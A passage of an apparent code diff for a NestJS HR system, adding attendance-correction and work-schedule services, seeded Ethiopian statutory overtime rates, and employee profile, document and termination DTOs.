): Promise<Paginated<AttendanceRegularization>> {
|
||||
const page = filters.page ?? 1;
|
||||
const limit = filters.limit ?? 25;
|
||||
const qb = this.regularizations.createQueryBuilder("request");
|
||||
|
||||
const scope = orgScope(actor);
|
||||
if (scope) qb.andWhere("request.organization_id = :scope", { scope });
|
||||
if (filters.employeeId) {
|
||||
qb.andWhere("request.employee_id = :employeeId", {
|
||||
employeeId: filters.employeeId,
|
||||
});
|
||||
}
|
||||
if (filters.status) {
|
||||
qb.andWhere("request.status = :status", { status: filters.status });
|
||||
}
|
||||
|
||||
const [items, total] = await qb
|
||||
.orderBy("request.workDate", "DESC")
|
||||
.skip((page - 1) * limit)
|
||||
.take(limit)
|
||||
.getManyAndCount();
|
||||
return paginate(items, total, page, limit);
|
||||
}
|
||||
|
||||
async findAwaitingMe(
|
||||
actor: ActorContext,
|
||||
page = 1,
|
||||
limit = 25,
|
||||
): Promise<Paginated<AttendanceRegularization>> {
|
||||
if (!actor.employeeId) return paginate([], 0, page, limit);
|
||||
const [items, total] = await this.regularizations.findAndCount({
|
||||
where: {
|
||||
approverEmployeeId: actor.employeeId,
|
||||
status: ERegularizationStatus.SUBMITTED,
|
||||
},
|
||||
order: { workDate: "DESC" },
|
||||
skip: (page - 1) * limit,
|
||||
take: limit,
|
||||
});
|
||||
return paginate(items, total, page, limit);
|
||||
}
|
||||
|
||||
private assertPending(request: AttendanceRegularization): void {
|
||||
if (request.status !== ERegularizationStatus.SUBMITTED) {
|
||||
throw new BadRequestException(
|
||||
`This correction is already ${request.status.toLowerCase()} and cannot ` +
|
||||
"be decided again.",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private async requireRequest(
|
||||
id: string,
|
||||
actor: ActorContext,
|
||||
): Promise<AttendanceRegularization> {
|
||||
const request = await this.regularizations.findOne({ where: { id } });
|
||||
if (!request) throw new NotFoundException(`Correction ${id} not found`);
|
||||
const scope = orgScope(actor);
|
||||
if (scope && request.organizationId !== scope) {
|
||||
throw new NotFoundException(`Correction ${id} not found`);
|
||||
}
|
||||
return request;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,250 @@
|
||||
import {
|
||||
BadRequestException,
|
||||
ConflictException,
|
||||
Injectable,
|
||||
NotFoundException,
|
||||
} from "@nestjs/common";
|
||||
|
||||
import { ActorContext, orgScope } from "../../employees/employees.service";
|
||||
import { IamDirectoryService } from "../../../iam-directory/iam-directory.service";
|
||||
import {
|
||||
WorkScheduleAssignmentsRepository,
|
||||
WorkSchedulesRepository,
|
||||
} from "../repositories/work-schedules.repository";
|
||||
import { WorkSchedule } from "../entities/work-schedule.entity";
|
||||
import { WorkScheduleAssignment } from "../entities/work-schedule-assignment.entity";
|
||||
import {
|
||||
AssignScheduleDto,
|
||||
CreateWorkScheduleDto,
|
||||
UpdateWorkScheduleDto,
|
||||
} from "../dto/work-schedule.dto";
|
||||
import { addDays } from "../../leave/services/working-days.service";
|
||||
|
||||
@Injectable()
|
||||
export class WorkSchedulesService {
|
||||
constructor(
|
||||
private readonly schedules: WorkSchedulesRepository,
|
||||
private readonly assignments: WorkScheduleAssignmentsRepository,
|
||||
private readonly iamDirectory: IamDirectoryService,
|
||||
) {}
|
||||
|
||||
async create(
|
||||
dto: CreateWorkScheduleDto,
|
||||
actor: ActorContext,
|
||||
): Promise<WorkSchedule> {
|
||||
const organizationId = this.requireOrg(actor);
|
||||
const clash = await this.schedules.findByCode(organizationId, dto.code);
|
||||
if (clash) {
|
||||
throw new ConflictException(`Work schedule ${dto.code} already exists`);
|
||||
}
|
||||
WorkSchedulesService.assertCoherent(dto);
|
||||
|
||||
if (dto.isDefault) await this.schedules.clearDefault(organizationId);
|
||||
|
||||
return this.schedules.create({
|
||||
...dto,
|
||||
organizationId,
|
||||
createdBy: actor.userId,
|
||||
} as Partial<WorkSchedule>);
|
||||
}
|
||||
|
||||
async update(
|
||||
id: string,
|
||||
dto: UpdateWorkScheduleDto,
|
||||
actor: ActorContext,
|
||||
): Promise<WorkSchedule> {
|
||||
const schedule = await this.requireSchedule(id, orgScope(actor));
|
||||
WorkSchedulesService.assertCoherent({ ...schedule, ...dto });
|
||||
|
||||
if (dto.isDefault) await this.schedules.clearDefault(schedule.organizationId);
|
||||
|
||||
return (
|
||||
(await this.schedules.update(id, { ...dto, updatedBy: actor.userId })) ??
|
||||
schedule
|
||||
);
|
||||
}
|
||||
|
||||
findAll(actor: ActorContext): Promise<WorkSchedule[]> {
|
||||
return this.schedules.findAllFor(orgScope(actor));
|
||||
}
|
||||
|
||||
findOne(id: string, actor: ActorContext): Promise<WorkSchedule> {
|
||||
return this.requireSchedule(id, orgScope(actor));
|
||||
}
|
||||
|
||||
async remove(id: string, actor: ActorContext): Promise<void> {
|
||||
const schedule = await this.requireSchedule(id, orgScope(actor));
|
||||
const open = await this.assignments.findOpenForSchedule(schedule.id);
|
||||
if (open > 0) {
|
||||
throw new ConflictException(
|
||||
`${open} employee(s) are currently on this schedule. Move them to ` +
|
||||
"another one first, or deactivate this schedule instead of deleting it.",
|
||||
);
|
||||
}
|
||||
await this.schedules.softDelete(id);
|
||||
}
|
||||
|
||||
/**
|
||||
* Put an employee on a schedule from a date.
|
||||
*
|
||||
* The previous assignment is closed the day before rather than deleted, so
|
||||
* attendance already recorded keeps resolving to the schedule that actually
|
||||
* applied — moving someone to a later shift must not retroactively make last
|
||||
* month's punctual arrivals late.
|
||||
*/
|
||||
async assign(
|
||||
dto: AssignScheduleDto,
|
||||
actor: ActorContext,
|
||||
): Promise<WorkScheduleAssignment> {
|
||||
const schedule = await this.requireSchedule(dto.workScheduleId, orgScope(actor));
|
||||
const employee = await this.iamDirectory.requireEmployee(dto.employeeId);
|
||||
|
||||
if (
|
||||
!actor.isSuperAdmin &&
|
||||
employee.organizationId !== schedule.organizationId
|
||||
) {
|
||||
throw new BadRequestException(
|
||||
"That employee and that schedule belong to different organizations.",
|
||||
);
|
||||
}
|
||||
|
||||
const open = await this.assignments.findOpenFor(dto.employeeId);
|
||||
if (open) {
|
||||
if (open.workScheduleId === schedule.id) {
|
||||
throw new ConflictException(
|
||||
`They are already on ${schedule.code}, since ${open.effectiveFrom}.`,
|
||||
);
|
||||
}
|
||||
if (dto.effectiveFrom <= open.effectiveFrom) {
|
||||
throw new BadRequestException(
|
||||
`The new schedule must start after the current one began ` +
|
||||
`(${open.effectiveFrom}).`,
|
||||
);
|
||||
}
|
||||
await this.assignments.update(open.id, {
|
||||
effectiveTo: addDays(dto.effectiveFrom, -1),
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
}
|
||||
|
||||
return this.assignments.create({
|
||||
organizationId: schedule.organizationId,
|
||||
employeeId: dto.employeeId,
|
||||
workScheduleId: schedule.id,
|
||||
effectiveFrom: dto.effectiveFrom,
|
||||
createdBy: actor.userId,
|
||||
} as Partial<WorkScheduleAssignment>);
|
||||
}
|
||||
|
||||
/**
|
||||
* The schedule that applied to an employee on a date.
|
||||
*
|
||||
* Falls back to the organization's default, and then to null. Null is a valid
|
||||
* answer, not an error: attendance can still record punches without a
|
||||
* schedule, it simply cannot judge lateness — better than refusing to record
|
||||
* that somebody came to work.
|
||||
*/
|
||||
async resolveFor(
|
||||
employeeId: string,
|
||||
organizationId: string,
|
||||
date: string,
|
||||
): Promise<WorkSchedule | null> {
|
||||
const assignment = await this.assignments.findOnDate(employeeId, date);
|
||||
if (assignment?.workSchedule) return assignment.workSchedule;
|
||||
return this.schedules.findDefault(organizationId);
|
||||
}
|
||||
|
||||
history(employeeId: string): Promise<WorkScheduleAssignment[]> {
|
||||
return this.assignments.findHistory(employeeId);
|
||||
}
|
||||
|
||||
/**
|
||||
* Rules the CHECK constraints cannot express on their own.
|
||||
*
|
||||
* Typed on the fields rather than on the DTO class so the same check can run
|
||||
* over an entity merged with a partial update — the update path has to
|
||||
* validate the RESULT, not just the fields that changed.
|
||||
*/
|
||||
private static assertCoherent(dto: {
|
||||
startTime?: string;
|
||||
endTime?: string;
|
||||
breakMinutes?: number;
|
||||
crossesMidnight?: boolean;
|
||||
workingDays?: number[] | null;
|
||||
minMinutesFullDay?: number;
|
||||
}): void {
|
||||
if (dto.workingDays) {
|
||||
if (dto.workingDays.length === 0) {
|
||||
throw new BadRequestException(
|
||||
"A schedule must work at least one day of the week.",
|
||||
);
|
||||
}
|
||||
if (new Set(dto.workingDays).size !== dto.workingDays.length) {
|
||||
throw new BadRequestException("workingDays contains duplicates");
|
||||
}
|
||||
}
|
||||
|
||||
if (dto.startTime && dto.endTime && !dto.crossesMidnight) {
|
||||
if (dto.endTime <= dto.startTime) {
|
||||
throw new BadRequestException(
|
||||
"endTime must be after startTime. If this is a night shift, set " +
|
||||
"crossesMidnight instead.",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// A day that cannot reach its own full-day threshold would mark every
|
||||
// attendance HALF_DAY, however long the employee stayed.
|
||||
const start = dto.startTime;
|
||||
const end = dto.endTime;
|
||||
if (start && end && dto.minMinutesFullDay !== undefined) {
|
||||
const span = WorkSchedulesService.spanMinutes(
|
||||
start,
|
||||
end,
|
||||
dto.crossesMidnight ?? false,
|
||||
);
|
||||
const payable = span - (dto.breakMinutes ?? 0);
|
||||
if (dto.minMinutesFullDay > payable) {
|
||||
throw new BadRequestException(
|
||||
`A full day needs ${dto.minMinutesFullDay} minutes, but this shift ` +
|
||||
`only offers ${payable} after its break. Every day would be counted ` +
|
||||
"as a half day.",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static spanMinutes(
|
||||
start: string,
|
||||
end: string,
|
||||
crossesMidnight: boolean,
|
||||
): number {
|
||||
const toMinutes = (time: string) => {
|
||||
const [hours, minutes] = time.split(":").map(Number);
|
||||
return hours * 60 + minutes;
|
||||
};
|
||||
const raw = toMinutes(end) - toMinutes(start);
|
||||
return crossesMidnight && raw <= 0 ? raw + 1440 : raw;
|
||||
}
|
||||
|
||||
private requireOrg(actor: ActorContext): string {
|
||||
const organizationId = orgScope(actor) ?? actor.organizationId;
|
||||
if (!organizationId) {
|
||||
throw new BadRequestException(
|
||||
"This account has no organization, and work schedules belong to one.",
|
||||
);
|
||||
}
|
||||
return organizationId;
|
||||
}
|
||||
|
||||
private async requireSchedule(
|
||||
id: string,
|
||||
organizationId: string | null,
|
||||
): Promise<WorkSchedule> {
|
||||
const schedule = await this.schedules.findById(id);
|
||||
if (!schedule || (organizationId && schedule.organizationId !== organizationId)) {
|
||||
throw new NotFoundException(`Work schedule ${id} not found`);
|
||||
}
|
||||
return schedule;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
import { EOvertimeCategory } from "./entities/overtime.entity";
|
||||
|
||||
/**
|
||||
* The statutory overtime premiums under **Labour Proclamation No. 1156/2019**,
|
||||
* Art. 68, with the daily cap from Art. 67.
|
||||
*
|
||||
* A seed, not a rule. Every figure lands in a column an employer can raise —
|
||||
* the statute is a floor, and paying more is lawful while paying less is not.
|
||||
* `statuteReference` records where each default came from, so a later edit reads
|
||||
* as a deliberate decision rather than a typo.
|
||||
*
|
||||
* NOT modelled here: the annual and monthly ceilings (Art. 67 also limits
|
||||
* overtime to 20 hours a month and 100 a year). Those are checked against the
|
||||
* accumulated total across requests, which is the overtime service's job, not a
|
||||
* property of a rate.
|
||||
*/
|
||||
export const STATUTORY_OVERTIME_RATES = [
|
||||
{
|
||||
category: EOvertimeCategory.DAY,
|
||||
multiplier: "1.50",
|
||||
// Art. 67: two hours a day, on an ordinary working day.
|
||||
maxHoursPerDay: "2.00",
|
||||
statuteReference: "Proc. 1156/2019 Art. 68(1)(a)",
|
||||
},
|
||||
{
|
||||
category: EOvertimeCategory.NIGHT,
|
||||
multiplier: "1.75",
|
||||
maxHoursPerDay: "2.00",
|
||||
statuteReference: "Proc. 1156/2019 Art. 68(1)(b)",
|
||||
},
|
||||
{
|
||||
category: EOvertimeCategory.REST_DAY,
|
||||
multiplier: "2.00",
|
||||
// A rest day has no ordinary shift to extend, so the two-hour cap on
|
||||
// *extending a day* does not apply. Left uncapped rather than guessed at.
|
||||
maxHoursPerDay: null,
|
||||
statuteReference: "Proc. 1156/2019 Art. 68(1)(c)",
|
||||
},
|
||||
{
|
||||
category: EOvertimeCategory.PUBLIC_HOLIDAY,
|
||||
multiplier: "2.50",
|
||||
maxHoursPerDay: null,
|
||||
statuteReference: "Proc. 1156/2019 Art. 68(1)(d)",
|
||||
},
|
||||
] as const;
|
||||
@@ -0,0 +1,55 @@
|
||||
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
|
||||
import { Type } from "class-transformer";
|
||||
import {
|
||||
IsDateString,
|
||||
IsEnum,
|
||||
IsOptional,
|
||||
IsString,
|
||||
IsUUID,
|
||||
MaxLength,
|
||||
ValidateNested,
|
||||
} from "class-validator";
|
||||
|
||||
import { EEmployeeDocumentType } from "../entities/employee-document.entity";
|
||||
import { LocalizedNameDto } from "./create-employee-profile.dto";
|
||||
|
||||
export class CreateEmployeeDocumentDto {
|
||||
@ApiProperty({ enum: EEmployeeDocumentType })
|
||||
@IsEnum(EEmployeeDocumentType)
|
||||
documentType!: EEmployeeDocumentType;
|
||||
|
||||
@ApiProperty({
|
||||
format: "uuid",
|
||||
description: "DMS document id — upload to DMS first, then file it here.",
|
||||
})
|
||||
@IsUUID()
|
||||
documentId!: string;
|
||||
|
||||
@ApiPropertyOptional()
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(128)
|
||||
documentNumber?: string;
|
||||
|
||||
@ApiPropertyOptional({ format: "date" })
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
issueDate?: string;
|
||||
|
||||
@ApiPropertyOptional({ format: "date" })
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
expiryDate?: string;
|
||||
|
||||
@ApiPropertyOptional()
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(128)
|
||||
issuingAuthority?: string;
|
||||
|
||||
@ApiPropertyOptional({ type: LocalizedNameDto })
|
||||
@IsOptional()
|
||||
@ValidateNested()
|
||||
@Type(() => LocalizedNameDto)
|
||||
notes?: LocalizedNameDto;
|
||||
}
|
||||
@@ -0,0 +1,213 @@
|
||||
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
|
||||
import { Type } from "class-transformer";
|
||||
import {
|
||||
IsBoolean,
|
||||
IsDateString,
|
||||
IsEmail,
|
||||
IsEnum,
|
||||
IsInt,
|
||||
IsNotEmpty,
|
||||
IsObject,
|
||||
IsOptional,
|
||||
IsString,
|
||||
IsUUID,
|
||||
Max,
|
||||
MaxLength,
|
||||
Min,
|
||||
ValidateNested,
|
||||
} from "class-validator";
|
||||
|
||||
import {
|
||||
EEmploymentState,
|
||||
EEmploymentType,
|
||||
EGender,
|
||||
EMaritalStatus,
|
||||
ESalaryMode,
|
||||
} from "../entities/employee-profile.entity";
|
||||
|
||||
export class PersonalAddressDto {
|
||||
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) region?: string;
|
||||
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) subCity?: string;
|
||||
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) zone?: string;
|
||||
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) woreda?: string;
|
||||
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) kebele?: string;
|
||||
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(32) houseNumber?: string;
|
||||
}
|
||||
|
||||
/** The `{am, en}` shape every localized field on the platform uses. */
|
||||
export class LocalizedNameDto {
|
||||
@ApiProperty() @IsString() @IsNotEmpty() @MaxLength(128) am!: string;
|
||||
@ApiProperty() @IsString() @IsNotEmpty() @MaxLength(128) en!: string;
|
||||
}
|
||||
|
||||
export class CreateEmployeeProfileDto {
|
||||
/**
|
||||
* The `iam.employees.id` this profile extends. The employee must already exist
|
||||
* in IAM — HR never creates one (3.5 hires through the IAM user API, then
|
||||
* creates the profile).
|
||||
*/
|
||||
@ApiProperty({ format: "uuid" })
|
||||
@IsUUID()
|
||||
employeeId!: string;
|
||||
|
||||
/**
|
||||
* Optional: when omitted the service generates the next number for the
|
||||
* organization. Supplied explicitly when migrating existing staff whose
|
||||
* numbers must be preserved.
|
||||
*/
|
||||
@ApiPropertyOptional({ maxLength: 64 })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(64)
|
||||
employeeNumber?: string;
|
||||
|
||||
// ── Personal ──
|
||||
@ApiPropertyOptional({ format: "date" })
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
dateOfBirth?: string;
|
||||
|
||||
@ApiPropertyOptional({ enum: EGender })
|
||||
@IsOptional()
|
||||
@IsEnum(EGender)
|
||||
gender?: EGender;
|
||||
|
||||
@ApiPropertyOptional({ default: "Ethiopian" })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(64)
|
||||
nationality?: string;
|
||||
|
||||
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) nationalId?: string;
|
||||
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(32) tinNumber?: string;
|
||||
|
||||
@ApiPropertyOptional({ enum: EMaritalStatus })
|
||||
@IsOptional()
|
||||
@IsEnum(EMaritalStatus)
|
||||
maritalStatus?: EMaritalStatus;
|
||||
|
||||
@ApiPropertyOptional({ minimum: 0, maximum: 30 })
|
||||
@IsOptional()
|
||||
@Type(() => Number)
|
||||
@IsInt()
|
||||
@Min(0)
|
||||
@Max(30)
|
||||
childrenCount?: number;
|
||||
|
||||
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(32) workPhone?: string;
|
||||
|
||||
@ApiPropertyOptional()
|
||||
@IsOptional()
|
||||
@IsEmail()
|
||||
@MaxLength(128)
|
||||
workEmail?: string;
|
||||
|
||||
@ApiPropertyOptional({ type: PersonalAddressDto })
|
||||
@IsOptional()
|
||||
@ValidateNested()
|
||||
@Type(() => PersonalAddressDto)
|
||||
personalAddress?: PersonalAddressDto;
|
||||
|
||||
@ApiPropertyOptional({ type: LocalizedNameDto })
|
||||
@IsOptional()
|
||||
@ValidateNested()
|
||||
@Type(() => LocalizedNameDto)
|
||||
emergencyContactName?: LocalizedNameDto;
|
||||
|
||||
@ApiPropertyOptional()
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(32)
|
||||
emergencyContactPhone?: string;
|
||||
|
||||
@ApiPropertyOptional()
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(64)
|
||||
emergencyContactRelation?: string;
|
||||
|
||||
// ── Employment ──
|
||||
@ApiPropertyOptional({ format: "uuid" })
|
||||
@IsOptional()
|
||||
@IsUUID()
|
||||
jobTitleId?: string;
|
||||
|
||||
@ApiPropertyOptional({ format: "uuid", description: "iam.locations.id" })
|
||||
@IsOptional()
|
||||
@IsUUID()
|
||||
workLocationId?: string;
|
||||
|
||||
@ApiProperty({ enum: EEmploymentType })
|
||||
@IsEnum(EEmploymentType)
|
||||
employmentType!: EEmploymentType;
|
||||
|
||||
@ApiProperty({ format: "date" })
|
||||
@IsDateString()
|
||||
hireDate!: string;
|
||||
|
||||
@ApiPropertyOptional({ format: "date" })
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
contractEndDate?: string;
|
||||
|
||||
@ApiPropertyOptional({ format: "date" })
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
probationEndDate?: string;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
enum: EEmploymentState,
|
||||
description:
|
||||
"Defaults to PROBATION when a probation end date is set, ACTIVE otherwise.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsEnum(EEmploymentState)
|
||||
employmentState?: EEmploymentState;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
format: "uuid",
|
||||
description:
|
||||
"Manager OVERRIDE (iam.employees.id). Omit to use the IAM position hierarchy.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsUUID()
|
||||
managerEmployeeId?: string;
|
||||
|
||||
// ── Payroll ──
|
||||
@ApiPropertyOptional({ enum: ESalaryMode })
|
||||
@IsOptional()
|
||||
@IsEnum(ESalaryMode)
|
||||
salaryMode?: ESalaryMode;
|
||||
|
||||
@ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(128) bankName?: string;
|
||||
|
||||
@ApiPropertyOptional()
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(64)
|
||||
bankAccountNumber?: string;
|
||||
|
||||
@ApiPropertyOptional()
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(128)
|
||||
bankAccountName?: string;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
description:
|
||||
"Defaults from employmentType — contract, intern and part-time are excluded.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsBoolean()
|
||||
isPensionEligible?: boolean;
|
||||
|
||||
@ApiPropertyOptional({ format: "uuid", description: "DMS document id" })
|
||||
@IsOptional()
|
||||
@IsUUID()
|
||||
profilePhotoDocumentId?: string;
|
||||
|
||||
@ApiPropertyOptional({ description: "Reserved for future structured metadata" })
|
||||
@IsOptional()
|
||||
@IsObject()
|
||||
metadata?: Record<string, unknown>;
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
|
||||
|
||||
import {
|
||||
EEmploymentState,
|
||||
EmployeeProfile,
|
||||
} from "../entities/employee-profile.entity";
|
||||
import type { IamEmployee } from "../../../iam-directory/iam-directory.service";
|
||||
|
||||
/**
|
||||
* What the API returns for a profile: the HR row plus the IAM facts HR does not
|
||||
* store. The `iam` block is read-through — it is never persisted here, so a name
|
||||
* change in IAM is reflected immediately rather than needing an HR update.
|
||||
*/
|
||||
export type AccessAlignment =
|
||||
| "OK"
|
||||
/** Employment is over but the account still works. The dangerous one. */
|
||||
| "ACCESS_OUTLIVES_EMPLOYMENT"
|
||||
/** Still employed, but the account is deactivated — they cannot work. */
|
||||
| "EMPLOYED_WITHOUT_ACCESS";
|
||||
|
||||
/** HR states after which nobody should still be able to log in. */
|
||||
const ENDED_STATES = new Set<EEmploymentState>([
|
||||
EEmploymentState.TERMINATED,
|
||||
EEmploymentState.RETIRED,
|
||||
]);
|
||||
|
||||
export const accessAlignmentOf = (
|
||||
employmentState: EEmploymentState,
|
||||
iam: { isCurrent: boolean } | null,
|
||||
): AccessAlignment => {
|
||||
// No IAM row to compare against — nothing to report either way.
|
||||
if (!iam) return "OK";
|
||||
if (ENDED_STATES.has(employmentState)) {
|
||||
return iam.isCurrent ? "ACCESS_OUTLIVES_EMPLOYMENT" : "OK";
|
||||
}
|
||||
// SUSPENDED is deliberately not flagged: suspending someone and cutting their
|
||||
// access is a normal pairing, and so is suspending them while they keep it.
|
||||
if (employmentState === EEmploymentState.SUSPENDED) return "OK";
|
||||
return iam.isCurrent ? "OK" : "EMPLOYED_WITHOUT_ACCESS";
|
||||
};
|
||||
|
||||
export class EmployeeProfileResponseDto {
|
||||
@ApiProperty({ format: "uuid" }) id!: string;
|
||||
@ApiProperty({ format: "uuid" }) employeeId!: string;
|
||||
@ApiProperty() employeeNumber!: string;
|
||||
|
||||
@ApiProperty({
|
||||
description: "Read-through from iam.employees / iam.users. Never stored in hr.",
|
||||
})
|
||||
iam!: {
|
||||
name: { am: string; en: string } | null;
|
||||
status: string;
|
||||
isCurrent: boolean;
|
||||
unitId: string | null;
|
||||
username: string | null;
|
||||
email: string | null;
|
||||
phoneNumber: string | null;
|
||||
} | null;
|
||||
|
||||
@ApiProperty({
|
||||
enum: ["OK", "ACCESS_OUTLIVES_EMPLOYMENT", "EMPLOYED_WITHOUT_ACCESS"],
|
||||
description:
|
||||
"How HR's employment state lines up with the IAM account. HR and IAM are " +
|
||||
"separate systems and drift apart silently — ending an employment here " +
|
||||
"does not revoke the login, and deactivating in IAM does not end the " +
|
||||
"employment. This names the mismatch instead of leaving it invisible.",
|
||||
})
|
||||
accessAlignment!: AccessAlignment;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
format: "uuid",
|
||||
description:
|
||||
"Effective manager: the override when set, otherwise resolved from the IAM position hierarchy.",
|
||||
})
|
||||
effectiveManagerEmployeeId?: string | null;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
description: "True when effectiveManagerEmployeeId came from the override column.",
|
||||
})
|
||||
isManagerOverridden?: boolean;
|
||||
|
||||
[key: string]: unknown;
|
||||
|
||||
static from(
|
||||
profile: EmployeeProfile,
|
||||
iam: IamEmployee | null,
|
||||
manager?: { employeeId: string | null; overridden: boolean },
|
||||
): EmployeeProfileResponseDto {
|
||||
const { documents: _documents, ...rest } = profile;
|
||||
return {
|
||||
...rest,
|
||||
iam: iam
|
||||
? {
|
||||
name: iam.name,
|
||||
status: iam.status,
|
||||
isCurrent: iam.isCurrent,
|
||||
unitId: iam.unitId,
|
||||
username: iam.username,
|
||||
email: iam.email,
|
||||
phoneNumber: iam.phoneNumber,
|
||||
}
|
||||
: null,
|
||||
accessAlignment: accessAlignmentOf(profile.employmentState, iam),
|
||||
effectiveManagerEmployeeId: manager?.employeeId ?? null,
|
||||
isManagerOverridden: manager?.overridden ?? false,
|
||||
} as unknown as EmployeeProfileResponseDto;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
import { ApiPropertyOptional } from "@nestjs/swagger";
|
||||
import { Transform } from "class-transformer";
|
||||
import { IsBoolean, IsEnum, IsOptional, IsString, IsUUID } from "class-validator";
|
||||
|
||||
import { PaginationQueryDto } from "../../../common/pagination.dto";
|
||||
import {
|
||||
EEmploymentState,
|
||||
EEmploymentType,
|
||||
} from "../entities/employee-profile.entity";
|
||||
|
||||
export class FindEmployeeProfilesDto extends PaginationQueryDto {
|
||||
@ApiPropertyOptional({
|
||||
description: "Matches employee number, and IAM name / username / email.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
search?: string;
|
||||
|
||||
@ApiPropertyOptional({ enum: EEmploymentState })
|
||||
@IsOptional()
|
||||
@IsEnum(EEmploymentState)
|
||||
employmentState?: EEmploymentState;
|
||||
|
||||
@ApiPropertyOptional({ enum: EEmploymentType })
|
||||
@IsOptional()
|
||||
@IsEnum(EEmploymentType)
|
||||
employmentType?: EEmploymentType;
|
||||
|
||||
@ApiPropertyOptional({ format: "uuid" })
|
||||
@IsOptional()
|
||||
@IsUUID()
|
||||
jobTitleId?: string;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
format: "uuid",
|
||||
description:
|
||||
"iam.units.id. Includes every sub-unit beneath it, so a division filter covers its departments.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsUUID()
|
||||
unitId?: string;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
description:
|
||||
"true = only people with an HR profile, false = only those still to be onboarded.",
|
||||
})
|
||||
@IsOptional()
|
||||
@Transform(({ value }) =>
|
||||
value === "true" ? true : value === "false" ? false : value,
|
||||
)
|
||||
@IsBoolean()
|
||||
onboarded?: boolean;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
format: "uuid",
|
||||
description: "Direct reports of this iam.employees.id (override or hierarchy).",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsUUID()
|
||||
managerEmployeeId?: string;
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
import { ApiPropertyOptional, OmitType, PartialType } from "@nestjs/swagger";
|
||||
import {
|
||||
IsBoolean,
|
||||
IsDateString,
|
||||
IsEnum,
|
||||
IsOptional,
|
||||
IsString,
|
||||
MaxLength,
|
||||
} from "class-validator";
|
||||
|
||||
import { CreateEmployeeProfileDto } from "./create-employee-profile.dto";
|
||||
import { EEmploymentState } from "../entities/employee-profile.entity";
|
||||
|
||||
/**
|
||||
* `employeeId` is omitted: re-pointing a profile at a different IAM employee
|
||||
* would silently move somebody's payslips, leave balance and documents. Creating
|
||||
* a new profile is the only way to attach to a different person.
|
||||
*
|
||||
* `employmentState` is omitted too — it moves through the dedicated transition
|
||||
* endpoints (deactivate / reinstate / terminate), which enforce the state machine
|
||||
* and record why. A free-form PATCH would let a terminated employee be set back
|
||||
* to ACTIVE with no termination date cleanup and no audit reason.
|
||||
*/
|
||||
export class UpdateEmployeeProfileDto extends PartialType(
|
||||
OmitType(CreateEmployeeProfileDto, [
|
||||
"employeeId",
|
||||
"employmentState",
|
||||
] as const),
|
||||
) {}
|
||||
|
||||
export class TerminateEmployeeDto {
|
||||
@ApiPropertyOptional({
|
||||
format: "date",
|
||||
description: "Defaults to today when omitted.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsDateString()
|
||||
terminationDate?: string;
|
||||
|
||||
@ApiPropertyOptional({ maxLength: 128 })
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(128)
|
||||
terminationReason?: string;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
enum: [EEmploymentState.TERMINATED, EEmploymentState.RETIRED],
|
||||
default: EEmploymentState.TERMINATED,
|
||||
description: "RETIRED keeps pension reporting distinct from a termination.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsEnum(EEmploymentState)
|
||||
finalState?: EEmploymentState.TERMINATED | EEmploymentState.RETIRED;
|
||||
|
||||
@ApiPropertyOptional({
|
||||
default: false,
|
||||
description:
|
||||
"Also deactivate their IAM account, revoking the login and ending every " +
|
||||
"position they hold. Off by default because it is not reversible in one " +
|
||||
"step: reactivating restores the account but NOT the positions. Left off, " +
|
||||
"the profile comes back flagged ACCESS_OUTLIVES_EMPLOYMENT until somebody acts.",
|
||||
})
|
||||
@IsOptional()
|
||||
@IsBoolean()
|
||||
revokeSystemAccess?: boolean;
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
